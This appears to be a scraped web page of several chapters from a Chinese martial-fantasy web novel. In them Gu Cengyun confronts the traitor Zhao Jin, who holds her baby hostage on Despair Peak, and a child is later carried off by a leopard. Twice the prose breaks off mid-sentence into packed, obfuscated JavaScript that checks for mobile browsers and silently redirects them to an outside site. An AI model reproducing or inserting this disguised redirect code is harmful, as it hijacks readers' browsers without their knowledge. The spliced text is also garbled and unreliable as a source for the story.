当初恶鬼乱世,十二指玉楼都能无动于衷,只是始终在一旁默默注视着一切。冷眼相待,看着恶鬼成劫,看着恶鬼殒命,似乎这世上的一切仿佛都与它无关。 周盈又为何对顾曾云如此关心? 这太怪了。 善意可以是刹那慈悲,真情却需要天长地久。 她对顾曾云的关心,海若渊看不懂。 周盈探知到位置以后便拉着海若渊赶路,一心全在万两的动向上,丝毫不知海若渊的想法。看他心中有事,还以为他在为盗指玄冥与罗刹海头疼。 心想:“也是,好不容易找到的线索又断了,他怎可能不急?” 又想:“但是现在什么也做不了,只能先找到顾曾云,或许还能通过赵瑾查到幕后黑手。” 六十里的距离说长不长,说短也够跑断腿,幸好西南方向皆是平坦的小道,既方便顾曾云驾马经过,也方便他们行走。 许是各怀心事,整个过程二人一句话没说,仅仅默契地向着同一个方向前进。于是,六十里的路程在沉默中飞快缩短。 然而大约走出四十里路时,周盈感受到火焰意外的跳动,万两身上的火焰突然静止不动。 周盈面色一沉,无声地加快速度。 海若渊无声地跟上。 又过了一刻多时间,火焰另一端,居然开始飞速移动。周盈一惊,这蠢马休息够居然开始走动了,而且行进的方向分明是奔向他们。 原来它识路! 不蠢啊! 周盈现在却是宁愿它偷懒不动。 但是希望如此,也不过只是希望,万两跑得很快,还很勤奋,它的主人如果知道它有这样的潜质,二十两?估计肠子都悔青了! 周盈制止不了它,只能强提速度,她对顾曾云的追逐,意外变成人与马的较量。 纵然脚力不错,但是这样高强度一刻都不停歇地赶路,难免会感到疲惫。 但是她不能停。 她必须更快。 更快。 又过了一会儿,视野的极点出现一个小小的黑点,黑点逐渐扩大,又越来越清晰,最后变成了向二人奔驰 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周盈强迫自己冷静下来,尽可能理性思考:一个地方人烟稀少又不为人知,而且能针对孤身而来的顾曾云。万两的脚程不快,顾曾云肯放它回来,必定已经接近目的地。这样看来,那个地方离这里应该不足二十里。 二十里,范围缩小了! 这时,海若渊忽然说出一个名字:“绝望峰。” 周盈道:“你确定?” “绝望峰最与众不同的地方就在整座山峰几乎与地面垂直,平常人走到峰底,只能停步,再也无法继续往上走。”海若渊声音一顿,“十分利于伏击。” 周盈眉头一沉,道:“的确有可能”。但是,她仍有些迟疑,“如果走错了怎么办?” 海若渊接着道:“有一定可能。但你想,顾曾云隐姓埋名就是怕踪迹泄露,招惹是非,她与赵瑾非亲非故,为何敢留一个来路不明的人在身边?” 周盈脸色并不好看:“依赵瑾所说,他跟在顾曾云身边至少已经有五十年,这个时间应该是酒肆开张,他成为酒肆堂倌的日子。” 海若渊若有若无地摇头:“萧散人赠顾曾云玲珑骨是在戴氏惨案发生之后,自那以后,她便隐姓埋名,开始提防有心之人。以她警觉,没道理过了五十年又让赵瑾有横插一脚的机会。所以,赵瑾很可能在一百多年前就跟在她身边。” 闻言,周盈点点头,又道:“重点是一百多年前,顾曾云为何会愿意让赵瑾跟在身边?” 这个时间点十分巧妙,一切巨变都出现在这个时候。在此之前,顾曾云作为当时最有名的医生,救过很多人。 救人……周盈忽然捕捉到什么,随即恍然大悟: “是恩情,一百多年前,顾曾云救过赵瑾。他以报恩为理由一直待在顾曾云身边!” “也是因为这个,顾曾云才会对赵瑾放低警惕。因为不会有人想到,自己曾经救过的人会恩将仇报、反咬一口!” 海若渊肯定道:“信里面的‘老地方’就是顾曾云救走赵瑾的地方,也就是绝望峰,一百一十九年前,绝望峰发生过十分可怕的争斗。” “一百一十九年前……”又一次听到这个时间,周盈不禁眉头一紧,随即道,“好,我相信你。” 周盈摸了摸疲惫的马儿,只能先把它抛在这儿。然后跟着海若渊,二人一同赶去绝望峰。 25. 玲珑骨(八) 冷阳西沉,秋风飒飒,伴着响亮的马蹄声,一人一马飞快靠近。 “驭———” 顾曾云换了一身素白的衣衫,洁白的衣袖随着马儿俊步飘摇翻飞。 万两早被她医好,又吃饱喝足,此刻正精神抖擞、健步如飞。然而,不待马疲,她便翻身下马,抚摸着马儿道:“乖,乖,送到这里就足够了。” “如果你还记得回去的路,就自己去找你的主人。” “要是记不得。” 她回头望了一眼,终究没说出口,将马丢在原地,独自一人离开了。 万两长鸣一声,凉气混着秋风一道道袭来,吹得枯叶飘摇断,吹得归人迷离恨。 顾曾云像是大病一场,等第一缕曙光打到她的脸上才见到一点儿气色。 这马比她想得好些,奔袭数十里也不见疲惫,但她又怕它太好了,会记得所有的路,把十二指玉楼的人引来,所以只能在进山之前早早便抛下它。 继续前行三五里,绝望峰赫然出现。 那一年,绝望峰刚刚经历过一场毁天灭地的厮杀,打斗双方已经不知所踪,只留下一滩滩惊人的血迹以及一堆又一堆不知道名字的死尸。她偶然路过,匆匆几眼,正准备离开。又想到死尸若不处理,腐烂后容易引发瘟疫,于是刨了个大坑,打算把人快速处理掉。 谁知,诸多死尸中居然还有个活人。 她几番犹豫,终于还是把人救下。 那人自称赵瑾,是职业杀手,拿了钱替雇主杀人,至于交战的双方,据说是两伙争抢地盘的流匪。顾曾云也怀疑过,但她无心去查证,因为她的孩子不久出世了。 从此她四处奔波,漂泊无定,总是为了一些有的没的,真的假的传闻从一处奔赴到另一处。走过一个个医馆,走过一个个药铺,等医馆都走遍了,药铺也不再进去,她就开始四处探问,为着一些虚无缥缈的传闻拼尽全力。 总是忐忑而去,失望而归。 但是有了玲珑骨,失望只是一瞬的。她有足够的时间寻找,哪怕找到她死,也要救回自己唯一的孩子。 那时,赵瑾为了报恩,一直跟在左右。他从未承诺过什么,也从未祈求过什么,但一年两年,三年五载,顾曾云就无法忽视他。 赵瑾会武功,不然也不能走到顶峰。但他的武功不高,否则也不会差点死在那里,所以顾曾云最后点头让他留在身边。 这样的人就算有坏心也掀不起风浪。 之后,赵瑾在她身边安安份份,一呆就是几十年。 五十年前,她不再寻找,在麦城外开了家酒馆,安定下来。 酒铺卖的是鉴湖酒,她是酒铺掌柜,赵瑾就是跑堂伙计。 赵瑾没问,她自然也不说,只有她自己知道,开这家酒馆是在等一个人经过。 那人酿得一手好酒,却从不喝一口。而且那人告诉她,哪一天喝酒的人死了,她的孩子就有救了。 现在那人没来,盗指玄冥却先闻声而来。 蛰伏百年的炸!弹一夕引爆! 绝望峰,只有极少数的人会来这里。因为其山险绝,从不给活人留路。 顾曾云抬头看了看,太阳被绝望峰遮得严严实实。她略微调匀呼吸,循着山壁快步攀爬。 几步之后,细细碎碎的石块沿岩壁坠落下来,顾曾云五感敏锐,当即感觉不对劲儿。 果然,再走几步,巨石扑面而来,每一块都精准地砸到她身上。她轻身一避,巨大的石块擦身而过,落空的巨石,争先恐后跌入悬崖,又在落地一刻摔得粉身碎骨。 下坠巨石越来越密,攻势越来越猛,顾曾云身形愈疾,踏步间已经来到绝望峰高层。 此处离地千丈有余,气温骤降,水汽凝成白雾。终年不散的雾气,便如同道道劈不开的迷障,试图遮蔽来人的视线。 顾曾云早有准备,她索性闭上眼睛,全靠听力辨位。 巨石下落途中擦起混沌之声,每块石头,落点在何处,距离自己有多远,顾曾云都可估个八九不离十。 片刻之后,落石声越急。 攻势并没有丝毫减弱,反而越来越快,巨石落如洒豆,让人避之不及。顾曾云身法不见丝毫疲惫,反而越来越快,赵瑾快,她就比他更快。 忽然,双眸一阵刺痛,眼睛火辣辣地灼烧。致命的毒气混在风中,骤然侵入顾曾云体内,等她察觉时,毒气已经入骨三分。情急之下,她连忙点下周身大穴避免毒气进一步入侵。 稍一分神,巨石便袭身而来,顾曾云不再闪避,身子忽向后一弹,借力一点,纵身一跃,踩着巨石登上了山顶。 山顶之上与那一年没有什么差别,只是当时的尸体已经化为白骨齑粉。 冷阳残照,黄土一抔。 赵瑾拿着孩子做人质,又让她中了毒气,不免得意:“掌柜,我该怎么说呢,奇缘最该庆幸有你这个娘,最不幸的也是有你这个娘。” 顾曾云一声冷笑:“你来就是说这些废话?” 赵瑾闻言,脸色一变:“你没照我说的拿日月轮来。” “他的命你当真不重视?” 说罢,作势要杀死手上的孩子。 顾曾云不为所动:“你甘愿潜伏多年,日月轮却是意外出现。” “你真会用日月轮换玲珑骨?” 赵瑾本想一石二鸟,没料到顾曾云早已经看破他的用心。但他有恃无恐,既拿住了对方软肋,便以此威胁:“好!好!好!” “没有日月轮,你的儿子就再没有利用的价值。” “这里离地面只怕有千尺高,你说我把他从这里扔下去会怎样?” 顾曾云面色不变,冷静得可怕,也冷酷得可怕:“他死,我就把你碎尸万段。” 赵瑾苦心经营多年怎可能放弃玲珑骨,但当着顾曾云杀子取骨更无可能,冷静一阵,他突然拥住怀中婴儿,似痛心道:“你当真不要你儿子的命?” 顾曾云无动于衷:“今天只有两条路:第一,你放下他,我放你一条生路;第二,用你一条命给我儿子陪葬。” “哈哈哈哈!” “好一个残酷无情的母亲。” 赵瑾摇摇头,笑道:“但是你面上再怎么冷静,心里又怎么舍得下你的儿子。” 他跟随顾曾云数十年,对她再熟悉不过,越是险境她就越是冷静。连笑面书生百般算计最后都折在她的手里。 为这个孩子她苦等多年,赵瑾太清楚这个孩子的份量了,要不然也不会有这个胆子拿他做人质。他更明白,顾曾云心慈手软,唯有沾上这个兔崽子六亲不认。他得防备防备,否则保不齐被狠咬一口。 “不如这样,小奇缘怎么可爱,多年情分,杀他我也于心不忍,白白放他又亏待自己,我自认不是你的对手啊。”赵瑾两眼放出寒光,“不如你先向我证明你会放过我。” 顾曾云道:“不必废话。” 赵瑾抚掌大笑:“顾掌柜果然是个爽快人。” 他抽出腰间长刀:“只要你自废一手一足我就把孩子还给你。” 顾曾云接住长刀,神色一凛:“原来你是练刀之人。” 赵瑾脸色一变:“快按我说的做。” “不然,我也不介意先废他一只手。” 话虽如此,顾奇缘被人挟持着,却依然睡得十分安稳,仿佛完全感知不到痛苦。 赵瑾脸色更不好看,当即用力捏了捏孩子脆弱圆胖的手。 一举一动却都刻在顾曾云的心上,在割她的肉,饮她的血,她毫不犹豫,手一挥,长刀瞬间穿透左臂。 鲜血瞬间飙溅三尺之地! 断筋透骨之痛即便是顾曾云也无法无动于衷,加上之前的伤势又被牵动,额上立即冒出大颗大颗的冷汗,身子也忍受不住晃了晃。 这一刀毫不含糊,正正切断左臂经脉。赵瑾露出怒意稍褪:“还有腿。”他盯着顾曾云手上那把锋利钢刀,掩饰不住的窃喜与疯狂。 顾曾云强忍伤痛,只觉一股冷意自内向外袭来,控制不住一阵痉挛。赵瑾察觉到她的异样,心中更加得意,觉得浑身畅快。 顾曾云气力似难为继,看着眼前的人,连自己也恍了神,恨恨道:“你费心潜伏多年,终于忍不住露出真面目。” 既然忍了这么多年,为何不继续伪装下去,偏偏挑了这个时候,偏在这种时候背后捅刀子。 明明……明明快了…… “我的演技不错吧。”说着,赵瑾却恨由心生。这么多年,他鞍前马后,勤勤恳恳当着店小二,打杂、挨使唤,无一处不周到、不妥帖,多年不提刀,如今再提起,连自己都感觉到生疏。 不过马上就要结束了,只要带着玲珑骨回去,就会有自己的一席之地。这么多年的辛苦都值了。想着,赵瑾脸上露出慰心之笑。 “可惜最后有个漏洞。”顾曾云冷言冷语戳破了他的幻想,“就算拿到玲珑骨你也回不去了。” 赵瑾脸色瞬间变了。 顾曾云看在眼里,继续道:“要只是为了玲珑骨,你身后的人早就可以出手。不会让你潜伏这么多年。” “你应该知道,除了玲珑骨,还缺一样东西。” 这个东西,顾曾云需要,赵瑾背后的人也需要。 赵瑾一声不吭,心中却渐起不安。 “但你不知道那样东西究竟是什么,那个人没告诉你。”她观察赵瑾细微的神情变化,知道自己猜对了。继续道,“他让你做内应,同时也提防你,因为他怕你知情不报,把东西私吞。他没命令你动,就算你带回玲珑骨,他也会疑心你把另一样东西私藏。” “所以你回去没用。” 赵瑾再也镇定不了,顾曾云句句都戳到他的心坎上。他觉得,自己没有功劳也有苦劳,隐藏这么多年从未出过差错……可是,他太了解那个人…… “日月轮也是你们的目标之一,你沉寂多年,急于立功,所以看见日月轮便把持不住,你说这剑中剑灵会自动保护主人,其实是想怂恿我盗剑。”顾曾云道,“一百一十九年前,你们在绝望峰打了一场仗,就是为了日月轮!” 赵瑾闻言,顿现凶光,恨顾曾云看穿了自己的计划,又恨多年苦心忍辱负重,终究竹篮打水一场空。失声吼道:“你闭嘴,要不是他,要不是为了他,我怎么会这么多年忍辱负重,活得像条狗。”赵瑾盯着顾奇缘,眼里喷出恨火,大声咆哮,“你不是最爱他,东西呢,你要救他的东西呢!” “交出来。不拿,我就杀了他。”说罢,一双手掐着顾奇缘的脖颈。 顾奇缘偏偏还睡得很香,对他的威胁完全没反应,赵瑾越想越气,瞬地加重了手上力道。 哭啊,你怎么不哭,快哭,快哭啊!让你娘好好听听! 顾奇缘似无知觉,始终一声不吭,连痛苦的表情都看不出。 顾曾云连忙呵住他:“住手,他要死了,你们永远拿不到想要的。” 赵瑾把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵瑾这才知道自己上当了,他忍住剧痛,跌跌撞撞,佯装要扑过去夺人。招势未满,却反手又去夺刀。 此举正中下怀,顾曾云看也不看他,将孩子稳稳绑在身上,转身就要离开绝望峰。 赵瑾在她手上连连吃亏,好在逼她自废一臂,哪里肯放她走?提刀便砍向她背后的软肋。 刀风忽至,顾曾云立即察觉,她身法极快,强忍左臂剧痛躲过一击。 赵瑾铁了心要她的命,刀刀狠戾,逼得她无法硬接,只敢凭身形闪躲。顾曾云与他缠斗数刻,原本勉强压制的伤势因为动武渐渐加重。 左臂受伤,为求速战速决,她虚发一招便要趁机夺刀。 赵瑾察觉她的意图,侧身闪避。 在他侧身一瞬,顾曾云迅速转变,一掌击向他胸口。这一掌虽然发力不足也使得对方一时气滞。 赵瑾过去很多次亲眼目睹顾曾云和别人决斗,今日亲身体验才知顾曾云的难缠。 顾曾云冷面相对,抬掌再攻。赵瑾刚才一招还没缓过劲,不敢硬拼,只好连连后退。 闪避过后,略一喘息,他抓住顾曾云左臂的弱点,刀刀攻向她的左侧。 顾曾云单手难敌快刀,何况后面还有一个孩子,不敢轻易露出后背,再加上沉重伤势不免支绌。 偏偏这个时候她感觉心口一阵熟悉的灼烧之感,呕出一口黑血。 赵瑾见状,心头一喜:“你是用毒的行家,那阵毒气自然对你无用,但是却可以加速你身上毒发。” 大叫道:“这毒专为你们这些修行之人炼制,从无人可以逃脱!” “你也不例外!” 昨日的余毒未清,只是用丹药强行压制,现在毒发一刻,锥心的灼热骤然涌上心头,纵是顾曾云也难以支撑,面露痛苦。 赵瑾看在眼里,但是不到最后一刻他不敢松懈。 他要亲眼看着顾曾云毒发身亡,然后杀掉她的儿子,夺走玲珑骨! 毒气在胸口翻涌,又渐渐漫上四肢百骸,顾曾云只得强行催动内力,破开心上伤口,逼出毒血。 赵瑾阴阴看着,忽然一刀砍下去。 这刀来得极快,出手极毒,不给她丝毫喘息余地,刀落一刻,顾曾云只觉心口一闷,胸前染红大片大片血色,连接母子二人衣带也被斩断,刀尖一挑,孩子飞了出去。 顾不得自身伤口,顾曾云拼命去抱住孩子。 这时,赵瑾身子一腾,四肢大张,一刀凌空劈下。 顾曾云扬手一挥,丢出早已藏在袖中的毒粉。 “啊啊啊————” 赵瑾在地上滚作一团,嘴里惨叫连连。毒药似乎在腐蚀他的脸,一双眼睛也被啃噬殆尽,残余的毒粉落到颈上、手上,立见森森白骨, “这是什么!” “啊———” 赵瑾用血淋淋的双手捂住灼热剧痛的眼睛,眼眶空洞洞的,眼球已经化成脓血! 顾曾云不搭理他,挣扎着要去抱被丢在地上的孩子。 生长在鉴湖的醉心茉莉,它的花香遇到火焰就会使人沉溺在梦境之中,对人体却没有丝毫伤害。 但是顾曾云从未告诉他,醉心茉莉的粉却是蚀骨毒药。一旦沾上,剧毒会先腐蚀他的皮肉,再一点点啃噬他的骨头,到最后就是尸骨无存。 想救命,只有鉴湖水。但是,无论是鉴湖还是鉴湖水所酿的酒都已经远不可及。 26. 玲珑骨(九) 跑了许久还是看不见绝望峰的影子,顾曾云也好像失去踪影,飘飘忽忽,不可望亦不可即。 那无法追赶的影子,如浮光掠影,转瞬即逝,又在记忆深处掀起阵阵涟漪。 周盈想起些事。 一些本以为已经忘记的事。 她从小随炎君一起住在山上,溪水自山顶蜿蜒而下,恰巧经过迷阳地。读书修行,长日无聊,在凉浸浸的溪水里摸鱼是为数不多的乐趣。 但她没注意到小溪的石头太松,扑得太急,脚底打滑瞬间,连鱼带人掀翻在水沟。冰冷刺骨的溪水猝不及防灌进鼻腔,水面冒出一串亮晶晶的泡泡。 紧接着,身上突然一紧,一只大手把她捞了出去。 成缕的水顺着衣角哗哗啦啦淌下,周盈成了彻头彻尾的落汤鸡。她抬头看着眼前的人,笑吟吟,甜甜唤道:“师父!” 炎君一脸正经,又有些无奈:“昨天教的,记得吗?” 周盈乖乖地点点头,使劲浑身解数,“呵——”。炎君有些头疼,“还有口诀。” 周盈收力再来,唰地一下,耀眼的白光遍布周身。 炎君看着她湿漉漉的小脑袋,敲了一下,终于笑了:“追命火,不是顾命火。” 周盈脸都涨红了,那时她还小,应该有六岁,也可能是五岁。她认真起来,肉乎乎的小手一展,幽蓝的火焰瞬间萦绕周身,一缕白烟先从头顶蹿出,然后是手臂、肚子、胸膛、脊背…… 追命火一收,身上也干得透透的。 炎君提溜她离了溪水,对她道:“为师要下山一趟,两日后回来,吃食都已经备好,记得要按时吃饭。修行不能荒废,闲时把书也捡来认一认。” 周盈似是而非地答应着,心上却不大高兴:为什么师父每次都不带自己出去。一直住在山里,可是山外还是山,日子简直无聊透顶。 炎君看出她的不满,这孩子一点儿都藏不住心思,问道:“你想要什么,师父都给你买回来。” 周盈个子很小,刚好可以拉住炎君衣角,每每撒泼打滚,必拽住死活不肯撒手。她拖着炎君一路小跑,冲屋前的酸梅树一指:“师父,我要吃酸梅子。” “现在没有酸梅子。”炎君安慰道,“等开春以后,你想吃多少都行。” “为什么现在没有酸梅子?” “物性如此,不可强求。” 周盈听不懂,也不理解,但还是点点头:“那我就不要了。” 炎君见她乖巧,又叮嘱了两句,便往山下走。 炎君前脚一走,周盈后脚悄悄跟上。 她一路小跑,自以为十分警惕,而炎君只好睁一只眼闭一眼。 直到在一大片荆棘地边缘被阵法挡住,炎君才突然回头喊住她:“乖徒儿,到这里就行了,快回去。” “师父两天就回来,你千万不可越过迷阳地。” 迷阳地,就是指家附近的荆棘地。 这玩意儿好听点儿是灵气十足,难听点是看人下菜。炎君走过去时,温顺得像条狗,摇着尾巴,俯首称臣。她要走,立即又露出满嘴獠牙。 周盈只好不情不愿停下,一直盯着炎君的背影,看着他越来越远,尖尖的竹笠晃啊晃,最终从眼底消失。 她心上有些落寞,胡乱踮起脚尖,无聊地踩了一下,似乎觉得不解气,又朝地面狠狠跺了好几下,才气呼呼地跑回山上。 她跑得太快,累得气喘吁吁,脸气鼓鼓地发红。她不是生炎君的气,也不是生自己的气,只是不知道为什么气就是消不下去。 周盈噔噔噔跑进厅堂,爬到椅子上,豁地掀开饭桌上的大竹篾子。 竹篾下,果见四个白馒头,一大碗切好的羊肉还冒着热气,此外还有三个鲜香麻辣的冷盘。 长舒一口气,她一屁股坐在椅子上,抓了把羊肉,大口大口地嚼了起来…… “嗝——”周盈打了个饱嗝,视线略过一片狼藉的桌面。 馒头吃了两个,羊肉没了大半,冷碟一扫而空…… 肚子吃得浑圆儿。 周盈拍拍肚子,突然明白炎君说的“贪多无益”是什么意思,尤其一弯腰,胃里的东西便争先恐后往嗓子眼冒。 吃都吃了,为了快点儿消食,她便绕着屋子溜达。很快,她又觉得无趣,干脆往床上一躺。 日月轮就放床边,她无聊地敲了敲冷冰冰的剑锋。 她一直不明白炎君为什么要把剑放在床边,直到有一天,醒来时,在床下发现一只晕过去的老鼠。 想到炎君,自然而然便想起炎君离开前的叮嘱,脑子里自然冒起一段“之乎者也”。 这个东西真催瞌睡,周盈背了几句便呼呼睡去。 第二天,刺眼无比的强光穿户而过,早过了正午。周盈猛然惊醒,跑到外面一看,桌上只剩残羹冷饭。又跑去隔壁房间,推开门,床上被子叠得整整齐齐的。 炎君没在。 他还没回来。 一股强烈又无可着落的失落感袭来,周盈看了眼桌上的剩饭剩菜,提不起胃口。她溜到炎君床上,怏怏不乐地从床头抓了本书,两条小腿在半空耷拉着,小脑袋往枕头上一靠,就这么开始读书。 书上透着股子发霉的臭味,纸片发黄难闻。 她翻开第一页,随便扫了一眼,字倒认得好几个,便坐在床边,大声读了起来。 “人之初,性本……” “?” 周盈瞪大眼睛,她怎么不认得这个字,更不记得炎君教过这个字,但上面用了大红的笔圈了一圈。 她戳了戳自己的脑门,继续念道:“性相近,□□。苟不教,性乃迁。教之道,贵以专。” 周盈一口气读下来,满意地点点头。 “教之道,贵以专。” 最后两句话炎君要开始教她学武功的时候说过,所以她记得格外清楚。 这页纸在“专”字处便结束,周盈学出了信心,也没这么厌倦,便接着读。 她右手一翻,书页紧紧粘在一起,居然翻不开。捧起书一看,这页纸的背面和下面第三页粘在了一起,发黄的纸张有些脆性,稍微一用力,书上就被撕出个口子。 把书撕坏就不好了。 于是,周盈索性把书翻到第三页,念道:“养不教,……之过。” 又是个不认识的字。周盈歪着头,在那字上琢磨了半天,有些倔强:师父教过,一撇一捺是“人”字,那比“人”多了两划又读什么? “教不严,师之……” “师之……” 看着上面的朱笔红圈,支支吾吾念不出来。 这书真难读,周盈啪地一下合上书,将它塞回床头。心想:“难怪师父总是翻来覆去看,这书太难读,师父也认不全,参不透呢!” 周盈心上得了点安慰,打起精神,又去温习炎君教的招式。心想,等自己把这几招学会了,打熟了,师父回来了就会教些新招式。 想着,便越练越有精神。 看着天黑了,她吸饱一口气,又缓慢而绵长地呼出。背上被汗水打湿,湿漉漉一大片。她跑到溪边,蹲下去,捊把水,痛痛快快地洗了把脸。 月色下,水里好像有什么东西在动,定睛一看,是几尾鱼儿。 鱼尾巴一摆一摆的,触到手指刹那,身子一扭,一下就跑没影儿了。 周盈摇摇头:“今天我不抓你们。” 又道:“你们肯定饿了。”说着便跑回房里,把吃剩的两个馒头捡来。 周盈把馒头撕碎,扔进水里。 须臾,水下一阵涌动,一条鱼探出头,咬了馒头碎渣。 周盈有些高兴,又多扔了几块进去。那鱼又探出头,敏捷地一个不落吞了下去。 似乎想起什么,周盈打燃了追命火,沿着溪水一路找下去。 果然,走了十几步又见到四五条鱼聚在一起,当即撕下馒头,往水里一丢。她看见鱼儿争先恐后抢着吃,便很高兴,嘴里念道:“你们多吃点,长得大一些,胖一些,我就捞你们上来,炖鱼汤、烧鱼头。” 她又接着跑了出去,要去寻“漏网之鱼”。 这条溪水从山顶一路淌下来,流速极缓,水又浅,即便不慎走进去也没危险。她一路走,一路喂。很快,第一个馒头便被撕得精光。 扭头一看,天黑了,看不清溪水还有多长,她正要去撕第二个馒头。手不由得定住。 几十米外,燃着两团火。 周盈心上一喜,是炎君回来了。 想着,迈开两条短腿,兴冲冲跑了过去。大声喊道:“师父!师父!” 那边没人回她,周盈想,离得还不够近,师父应该还听不到自己叫他。于是越跑越快,脚下生风似地狂奔。 她看着两束光越来越近,一边跑,一边兴奋无比地冲着那里招手。 猝不及防,一张大嘴闯入视野。 紧接着就是一阵低吼,周盈愣住了,眼前是一个庞然大物,它的头比自己的两个还要大,浑身上下都是黑色的斑点。 那豹子脚一蹬,冲她急扑而来,叼着她蹿进了树林。 衣服被死死咬住,挣脱不得,豹子的鼻子里还时不时喷出腥臭无比的热气,熏得她直犯恶心。周盈想拿拳头狠狠往它脸上砸,但她的手太短,又翻不过身。她只好挣扎着,大脚大脚地往后蹬。 豹子跑得飞快,丝毫不理会她的挣扎,反而跳来跳去,晃得她一阵眩晕。 不知过了多久,猛地一阵天旋地转,周盈背上一痛,手上的大白馒头在地上滚了几圈,她被扔到了从未见过的洞穴里面。 她也顾不上痛,见馒头脏了,爬过去,要伸手去捡。 豹子突地蹿到面前,张开大嘴,喉咙里边发出阵阵低吼。周盈被吓得连滚带爬缩回了墙脚,眼泪在眼眶里打转,却又倔强地憋着,半声也没吭。 豹子似乎盯上了她的馒头,甚至凑近嗅了嗅。 周盈缩着身子,又怕又气,不敢上去。幸好那头豹子对馒头没兴趣,闻了两下,就跳了回去。 周盈不敢再去拿馒头,大气也不敢出地蹲下,紧紧抱着头,把自己缩成小小的一团。 过了一会儿,她觉得豹子看不到自己了,撑开眼睛,掩耳盗铃地从指缝悄悄看豹子。 这是她第一次见到这种动物,身上都是黑斑,一点儿也不好看。一张嘴,就露出两颗黄黄的尖牙。爪子怎么这么大,一巴掌就可以把她拍死。想到这里,周盈吓得全身发抖,连忙捂住眼睛,脑袋瓜儿深深埋进腿里面。 空荡荡的洞穴里不时传来几声低吼,有时伴随着嗷嗷叫声。 周盈害怕得直发抖,她又想到炎君,心想:“等师父回来看不见自己,一定会来找的。可是连自己都不知道这里是什么地方,师父又怎么找得到?”想到这里,周盈终于忍不住哭了。 她有些后悔了,为什么当时不听师父的话。等师父知道了,肯定会生气。 一想到这个,她哭得更伤心。小声啜泣着,眼泪顺着小脸滑进嘴里,咸滋滋的,猝不及防吃了两口,难吃死了,忍不住呸呸呸。 不知过多久,许是哭累了,便迷迷糊糊睡过去。睡着的时候,耳边似乎传来嗷嗷嗷的声音。不知道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796359|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么…… 醒来已经是第二天,周盈猫着腰在墙脚睡了一晚上,此时全身酸痛。 她下意识伸了伸懒腰,猛地想起来自己被叼进豹子窝。 此时,豹子离她还有六七丈,大脑袋背着她,似乎还在睡觉。 周盈一乐,趁它没醒,可以先溜出去。就算回不去,也能先找地方藏起来。 她胆子实在太大,根本没有想一个活物在豹子窝里胡冲乱撞意味着什么,小小的身子紧紧贴着墙,居然就这样迈出了第一步。 一边走,一边扭头看。果然,豹子还在睡觉,似乎根本没有注意到她。 她又走了几步,前脚掌着地,正要收后腿时,肚子咕咚一下,弄出很大的声响。 心脏猛地跳一下。 但仅仅一下。 “没事的,肚子里的声音都只有自己听得见,离这么远,它肯定没注意。”想着,周盈连忙又瞧了一眼,果然,豹子正背对着她,一动不动的。周盈稍稍放下心,接下来就要快一点,保不齐它什么时候就醒了。想着,她望了一眼外面,毫不犹豫迈出去一大步。 足尖将落未落,猛地一阵旋风袭来,豹子的大脸瞬间贴了上来,绿幽幽的兽眼猝不及防与她打了个照面。 大眼瞪小眼。 这次豹子没有马上离开,而是在她头上嗅了嗅,甚至伸出舌头舔了她一口。湿哒哒的舌头肆无忌惮在她脸上舔着。周盈全身僵硬,脊背发凉,从头顶麻到脚趾,一动也不敢动。 豹子又凑近她的喉咙,舔了一下,周盈脑子一片空白,却想:喉咙被咬断会怎样,会死得很快吧。 果然,豹子张开大嘴,亮出尖牙,似乎正寻找适合下嘴的位置。 周盈缩缩脖子,亮亮的眼睛与豹子对视。 忽然,一阵嗷嗷嗷嗷的声音从洞穴另一边传来。 那豹子听到声音后,立即转过头,重新躺在地上。 周盈惊魂未定,缩着身子,渐渐才知后怕。刚才那豹子是真的想杀死她。又不由得好奇,为什么它听到声音后不对自己下手,那究竟是什么声音? 她缓缓移开手,借着从外面漏进来的一点点光,想瞧个仔细。 豹子趴在地上,正伸出粉红色的大舌头,一下又一下地在舔自己的前爪。它的背上、四肢都是黑黄黑黄的,唯独肚皮下见得到白毛。 周盈见它心思不在自己身上,放大胆子,盯着它肚皮看。只见毛下似乎有什么东西在蠕动,她挺直脊背,让自己坐得高些,终于望见了一个毛乎乎的小脑袋。 接下来,很长一段时间,豹子都没有睡觉,周盈再也找不到可以溜走的机会。 她安安静静呆在墙角,肚子开始咕咕咕叫。一阵搜索后,终于瞧见了昨天的馒头。 那馒头不知道什么时候被踩了一下,贴着地,成了一摊扁扁的污泥。 周盈失望极了,四肢一软,四仰八叉地摊在墙角。跟摊烂泥似的,等那豹子兴起随时来踩一脚。 不久,她又听见嗷嗷嗷的叫声,是小豹子。原先以为只有一只,实际上有两只。一只还缩在母豹子的肚子下,一只已经颤颤巍巍离开了母豹子。 小豹子太小了,只有周盈的脑袋大,走得也不太稳,步子羸弱蹒跚,更摸不清方向。 见小豹子要跑远,母豹子停止舔舐,用爪子把它勾了回去。但它还是不安分,总想往外跑。 周盈突然觉得它挺可爱的,眼睛黑黑的,毛绒绒的,有时候也会嗷嗷嗷叫,连那叫声也听着很舒服。 她一定饿傻了。 母豹子再不理叛逆的孩子,吐出舌头,开始舔自己肚子下面的另一个孩子。 周盈一动不动趴在地上,看见母豹子粉红的大舌头,心想,刚刚舔她的时候可没这么……这么温柔。 此念方落,母豹子停止舔舐,突然抬头望了周盈一眼,寒光凛冽,嗖嗖射向周盈。但周盈饿得头昏脑眩,浑身上下软趴趴的,实在动不了了。像滩烂泥糊在地上,任由母豹子把她捏扁搓圆。 幸好母豹子看了她一眼,便没有第二个动作。 忽然,一阵风灌进洞里,周盈浑身打着冷战。她抬起手看了看,手掌边缘还有没干的血迹,不知道是什么时候摔的。 不远处,两只小豹子十分安分地待在母豹子肚子底下。 